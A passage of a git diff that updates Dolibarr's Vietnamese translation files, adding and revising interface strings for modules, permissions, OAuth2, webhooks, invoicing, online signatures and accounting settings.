Module4000Name=Nhân sự @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Thêm các tính năng để quản lý Incoterms Module63000Name=Tài nguyên Module63000Desc=Quản lý tài nguyên (máy in, ô tô, phòng, ...) để phân bổ cho các sự kiện -Permission11=Xem hóa đơn khách hàng +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Tiếp nhận +Permission11=Read customer invoices (and payments) Permission12=Tạo/chỉnh sửa hóa đơn khách hàng Permission13=Invalidate customer invoices Permission14=Xác nhận hoá đơn khách hàng @@ -842,9 +852,9 @@ Permission286=Xuất dữ liệu liên lạc Permission291=Xem thuế Permission292=Chỉnh phân quyền trên mức thuế Permission293=Sửa đổi biểu thuế của khách hàng -Permission300=Xem mã vạch -Permission301=Tạo / sửa đổi mã vạch -Permission302=Xóa mã vạch +Permission301=Generate PDF sheets of barcodes +Permission304=Tạo / sửa đổi mã vạch +Permission305=Xóa mã vạch Permission311=Xem dịch vụ Permission312=Chỉ định dịch vụ/thuê bao cho hợp đồng Permission331=Xem bookmark @@ -940,7 +950,7 @@ Permission1190=Phê duyệt (phê duyệt thứ hai) đơn đặt hàng mua Permission1191=Export supplier orders and their attributes Permission1201=Nhận kết quả của xuất dữ liệu Permission1202=Tạo/chỉnh sửa đổi xuất dữ liệu -Permission1231=Xem hóa đơn nhà cung cấp +Permission1231=Read vendor invoices (and payments) Permission1232=Tạo / sửa đổi hóa đơn nhà cung cấp Permission1233=Xác nhận hóa đơn nhà cung cấp Permission1234=Xóa hóa đơn nhà cung cấp @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Xem nội dung trang web Permission10002=Tạo / sửa đổi nội dung trang web (nội dung html và javascript) Permission10003=Tạo / sửa đổi nội dung trang web (mã php động). Cảnh báo, phải được hạn chế và dành riêng cho các nhà phát triển. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Cài đặt đã lưu SetupNotSaved=Thiết lập không được lưu +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Quay lại danh sách Mô-đun BackToDictionaryList=Quay lại danh sách Từ điển TypeOfRevenueStamp=Loại tem thuế @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s
      Phần mềm này là một b SetupDescription5=Các menu thiết lập khác quản lý các tham số tùy chọn. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Thông số cài đặt chỉ có thể được đặt bởi < SystemInfoDesc=Hệ thống thông tin là thông tin kỹ thuật linh tinh bạn nhận được trong chế độ chỉ đọc và có thể nhìn thấy chỉ cho quản trị viên. SystemAreaForAdminOnly=Khu vực này chỉ dành cho người dùng quản trị viên. Quyền người dùng Dolibarr không thể thay đổi hạn chế này. CompanyFundationDesc=Chỉnh sửa thông tin của công ty/tổ chức. Nhấp vào nút "%s" ở cuối trang. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Nếu bạn có một kế toán viên/ kế toán bên ngoài, bạn có thể chỉnh sửa thông tin ở đây. AccountantFileNumber=Mã kế toán DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Triggers in this file are active as module %s GeneratedPasswordDesc=Chọn phương thức được sử dụng cho tự động tạo mật khẩu. DictionaryDesc=Chèn vào tất cả giá trị tham khảo. Bạn có thể thêm vào giá trị mặc định ConstDesc=Trang này cho phép bạn chỉnh sửa (ghi đè) các tham số không có sẵn trong các trang khác. Trong đó hầu hết là các tham số dành riêng cho nhà phát triển/nâng cao chỉ để khắc phục sự cố. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Tất cả các thông số liên quan đến bảo mật khác được xác định ở đây. LimitsSetup=Cài đặt Giới hạn và độ chính xác LimitsDesc=Bạn có thể xác định giới hạn, giới hạn và tối ưu hóa được sử dụng bởi Dolibarr tại đây @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=Chức năng SSL không có sẵn trong chương trình PHP DownloadMoreSkins=Nhiều giao diện để tải về SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Nhận mã vạch NumberingModules=Kiểu thiết lập số DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Không có gợi ý tạo mật khẩu. Mật khẩu phải được nhập bằng tay. PasswordGenerationPerso=Trả lại mật khẩu theo định nghĩa cấu hình cá nhân của bạn. SetupPerso=Theo cấu hình của bạn @@ -1434,6 +1453,10 @@ SuppliersPayment=Thanh toán của nhà cung cấp SupplierPaymentSetup=Thiết lập thanh toán của nhà cung cấp InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Cài đặt module đơn hàng đề xuất ProposalsNumberingModules=Mô hình đánh số đơn hàng đề xuất @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Watermark on dự thảo hợp đồng (none if em ##### Members ##### MembersSetup=Cài đặt module thành viên MemberMainOptions=Lựa chọn chính +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Quản lý một Đăng nhập cho mỗi thành viên AdherentMailRequired=Yêu cầu email để tạo thành viên mới MemberSendInformationByMailByDefault=Hộp kiểm để gửi thư xác nhận cho các thành viên (xác nhận hoặc đăng ký mới) là theo mặc định MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Khách truy cập có thể chọn từ các chế độ thanh toán có sẵn +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Cho phép nhắc nhở tự động qua email của các thuê bao đã hết hạn. Lưu ý: Mô-đun %s phải được bật và thiết lập chính xác để gửi lời nhắc. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Kích hoạt trình soạn thảo nâng cao cho: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG creation/edition for mass eMailings (Công cụ->eMailing) FCKeditorForUserSignature=WYSIWIG tạo / sửa chữ ký người sử dụng FCKeditorForMail=WYSIWIG tạo/soạn thảo cho tất cả thư (ngoại trừ Công cụ-> Gửi thư điện tử) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Xử lý menu nơi hiển thị menu mới DetailMenuModule=Tên module nếu menu vào đến từ một module DetailType=Loại menu (trên hoặc bên trái) DetailTitre=Nhãn Menu hoặc mã nhãn để dịch -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Điều kiện để hiển thị hoặc không nhập DetailRight=Điều kiện để hiển thị menu không được phép màu xám DetailLangs=Tên file lang cho việc dịch mã nhãn @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Sử dụng các loại sự kiện (được quản lý t AGENDA_USE_EVENT_TYPE_DEFAULT=Tự động đặt giá trị mặc định này cho loại sự kiện trong biểu mẫu tạo sự kiện AGENDA_DEFAULT_FILTER_TYPE=Tự động đặt loại sự kiện này trong bộ lọc tìm kiếm của chế độ xem chương trình nghị sự AGENDA_DEFAULT_FILTER_STATUS=Tự động đặt trạng thái này cho các sự kiện trong bộ lọc tìm kiếm của chế độ xem chương trình nghị sự +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Bật thông báo âm thanh @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Giảm tồn kho trong POS không tư CashDeskYouDidNotDisableStockDecease=Bạn đã không vô hiệu hóa giảm tồn kho khi thực hiện bán hàng từ Điểm bán hàng. Do đó có một kho được yêu cầu. CashDeskForceDecreaseStockLabel=Giảm tồn kho cho các lô sản phẩm đã bị buộc. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Mã khóa cho "Enter" được xác định trong đầu đọc mã vạch (Ví dụ: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Cài đặt module Bookmark BookmarkDesc=Mô-đun này cho phép bạn quản lý dấu trang. Bạn cũng có thể thêm lối tắt vào bất kỳ trang Dolibarr hoặc các trang web bên ngoài trên menu bên trái của bạn. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Mô hình đánh số hóa đơn nhà cung cấp IfSetToYesDontForgetPermission=Nếu được đặt thành giá trị không null, đừng quên cung cấp quyền cho các nhóm hoặc người dùng được phép phê duyệt lần thứ hai ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Cài đặt module GeoIP MaxMind -PathToGeoIPMaxmindCountryDataFile=Đường dẫn đến tệp chứa ip Maxmind tới bản dịch quốc gia.
      Ví dụ:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Hướng dẫn cách dump file dữ liệu BackupZipWizard=Hướng dẫn tạo lưu trữ của thư mục hồ sơ SomethingMakeInstallFromWebNotPossible=Cài đặt module bên ngoài là không thể từ giao diện web với các lý do sau: SomethingMakeInstallFromWebNotPossible2=Vì lý do này, quá trình nâng cấp được mô tả ở đây là quy trình thủ công chỉ người dùng đặc quyền mới có thể thực hiện. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Cài đặt các module bên ngoài từ các ứng dụng đã bị vô hiệu bởi quản trị viên của bạn. Bạn phải yêu cầu ông phải loại bỏ các tập tin %s để cho phép tính năng này. ConfFileMustContainCustom=Cài đặt hoặc xây dựng một mô-đun bên ngoài từ ứng dụng cần lưu các tệp mô-đun vào thư mục %s. Để thư mục này được Dolibarr xử lý, bạn phải thiết lập conf/conf.php của mình để thêm 2 dòng lệnh:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Tô sáng các dòng bảng khi chuột di chuyển qua @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Xóa các ký tự đặc biệt COMPANY_AQUARIUM_CLEAN_REGEX=Bộ lọc Regex để làm sạch giá trị (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Bộ lọc Regex để làm sạch giá trị (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Không cho phép trùng lặp +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Cán bộ bảo vệ dữ liệu (DPO, Bảo mật dữ liệu hoặc liên lạc GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Trợ giúp văn bản để hiển thị trên tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Thư mục đích hộp thư EmailcollectorOperations=Hoạt động để làm bởi trình thu thập EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Số lượng email tối đa được thu thập trên mỗi thu thập +TestCollectNow=Test collect CollectNow=Thu thập ngay bây giờ ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Mã kết quả mới nhất NbOfEmailsInInbox=Số lượng email trong thư mục nguồn LoadThirdPartyFromName=Tải tìm kiếm bên thứ ba trên %s (chỉ tải) LoadThirdPartyFromNameOrCreate=Tải tìm kiếm bên thứ ba trên %s (tạo nếu không tìm thấy) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Nếu bạn muốn có text trong PDF của mình bằng 2 ngôn ngữ khác nhau trong cùng một tệp PDF được tạo, bạn phải đặt ở đây ngôn ngữ thứ hai này để PDF được tạo sẽ chứa 2 ngôn ngữ khác nhau trong cùng một trang, một ngôn ngữ được chọn khi tạo PDF và ngôn ngữ này ( chỉ có vài mẫu PDF hỗ trợ này). Giữ trống cho 1 ngôn ngữ trên mỗi PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Nhập vào đây mã của biểu tượng FontAwgie. Nếu bạn không biết FontAwgie là gì, bạn có thể sử dụng fa-address-book @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Khuyên dùng NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Thiết lập kiểm kho ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Cài đặt WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/vi_VN/categories.lang b/htdocs/langs/vi_VN/categories.lang index 4ceb5fc985b..f89aaef6b41 100644 --- a/htdocs/langs/vi_VN/categories.lang +++ b/htdocs/langs/vi_VN/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Thành viên này không có trong bất kỳ thẻ/ danh m ContactHasNoCategory=Liên lạc này không có trong bất kỳ thẻ/ danh mục ProjectHasNoCategory=Dự án này không có trong bất kỳ thẻ/ danh mục nào ClassifyInCategory=Thêm vào thẻ/ danh mục +RemoveCategory=Remove category NotCategorized=Không có thẻ/ danh mục CategoryExistsAtSameLevel=Danh mục này đã tồn tại với tham chiếu này ContentsVisibleByAllShort=Nội dung hiển thị bởi tất cả @@ -67,6 +68,7 @@ StockCategoriesShort=thẻ/ danh mục Kho ThisCategoryHasNoItems=Danh mục này không có dữ liệu nào CategId=ID thẻ/ danh mục ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=Xóa khỏi thẻ/ danh mục ExtraFieldsCategories=Thuộc tính bổ sung CategoriesSetup=Thiết lập thẻ/ danh mục CategorieRecursiv=Tự động liên kết với thẻ/ danh mục cha -CategorieRecursivHelp=Nếu tùy chọn được bật, khi bạn thêm sản phẩm vào danh mục con, sản phẩm cũng sẽ được thêm vào danh mục cha. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Thêm sản phẩm / dịch vụ sau đây AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=Hiển thị thẻ/ danh mục ByDefaultInList=Theo mặc định trong danh sách ChooseCategory=Chọn danh mục StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/vi_VN/commercial.lang b/htdocs/langs/vi_VN/commercial.lang index f6f01d06444..17633460fff 100644 --- a/htdocs/langs/vi_VN/commercial.lang +++ b/htdocs/langs/vi_VN/commercial.lang @@ -64,17 +64,26 @@ ActionAC_SHIP=Gửi đơn hàng vận chuyển bằng thư ActionAC_SUP_ORD=Gửi đơn đặt hàng mua qua thư ActionAC_SUP_INV=Gửi hóa đơn nhà cung cấp qua thư ActionAC_OTH=Khác -ActionAC_OTH_AUTO=Sự kiện tự động chèn +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=Sự kiện chèn bằng tay ActionAC_AUTO=Sự kiện tự động chèn -ActionAC_OTH_AUTOShort=Tự động +ActionAC_OTH_AUTOShort=Khác +ActionAC_EVENTORGANIZATION=Event organization events Stats=Thống kê bán hàng StatusProsp=Trạng thái KH tiềm năng DraftPropals=Dự thảo đơn hàng đề xuất NoLimit=Không giới hạn ToOfferALinkForOnlineSignature=Liên kết cho chữ ký trực tuyến -WelcomeOnOnlineSignaturePage=Chào mừng bạn đến trang để chấp nhận các đề xuất thương mại từ %s -ThisScreenAllowsYouToSignDocFrom=Màn hình này cho phép bạn chấp nhận và ký, hoặc từ chối, một báo giá / đề xuất thương mại -ThisIsInformationOnDocumentToSign=Đây là thông tin trên tài liệu để chấp nhận hoặc từ chối +WelcomeOnOnlineSignaturePageProposal=Chào mừng bạn đến trang để chấp nhận các đề xuất thương mại từ %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Màn hình này cho phép bạn chấp nhận và ký, hoặc từ chối, một báo giá / đề xuất thương mại +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Đây là thông tin trên tài liệu để chấp nhận hoặc từ chối +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Chữ ký của báo giá / đề xuất thương mại %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Tính năng ký trực tuyến bị vô hiệu hóa hoặc tài liệu được tạo trước khi tính năng được bật diff --git a/htdocs/langs/vi_VN/compta.lang b/htdocs/langs/vi_VN/compta.lang index 24d6dd5c05f..e9509627016 100644 --- a/htdocs/langs/vi_VN/compta.lang +++ b/htdocs/langs/vi_VN/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Số dư (trước) Balance=Số dư Debit=Nợ Credit=Tín dụng +AccountingDebit=Nợ +AccountingCredit=Tín dụng Piece=Chứng từ kế toán AmountHTVATRealReceived=Thu thập ròng AmountHTVATRealPaid=Thanh toán ròng @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Xóa một khoản thanh toán thuế xã hội hoặc tài chính DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Thuế và tài chính xã hội và thanh toán CalcModeVATDebt=Chế độ %sVAT về kế toán cam kết%s. CalcModeVATEngagement=Chế độ %sVAT đối với thu nhập-chi phí%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Báo cáo Doanh thu được TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Báo cáo Doanh thu được thu thập trên mỗi mức thuế suất bán hàng không có sẵn. Báo cáo này chỉ có sẵn cho doanh thu có hóa đơn. CalculationMode=Chế độ tính toán AccountancyJournal=Mã nhật ký kế toán -ACCOUNTING_VAT_SOLD_ACCOUNT=Tài khoản kế toán theo mặc định cho VAT khi bán hàng (được sử dụng nếu không được định nghĩa khi thiết lập từ điển VAT) -ACCOUNTING_VAT_BUY_ACCOUNT=Tài khoản kế toán theo mặc định cho VAT khi mua hàng (được sử dụng nếu không được định nghĩa khi thiết lập từ điển VAT) -ACCOUNTING_VAT_PAY_ACCOUNT=Tài khoản kế toán theo mặc định để thanh toán VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Tài khoản kế toán được sử dụng cho khách hàng bên thứ ba +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Tài khoản kế toán chuyên dụng được xác định trên thẻ của bên thứ ba sẽ chỉ được sử dụng cho kế toán Sổ phụ. Cái này sẽ được sử dụng cho Sổ cái và là giá trị mặc định của kế toán Sô phụ nếu tài khoản kế toán chuyên dụng của khách hàng bên thứ ba không được xác định. -ACCOUNTING_ACCOUNT_SUPPLIER=Tài khoản kế toán được sử dụng cho nhà cung cấp bên thứ ba +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Tài khoản kế toán chuyên dụng được xác định trên thẻ của bên thứ ba sẽ chỉ được sử dụng cho kế toán Sổ phụ. Cái này sẽ được sử dụng cho Sổ cái và là giá trị mặc định của kế toán Sổ 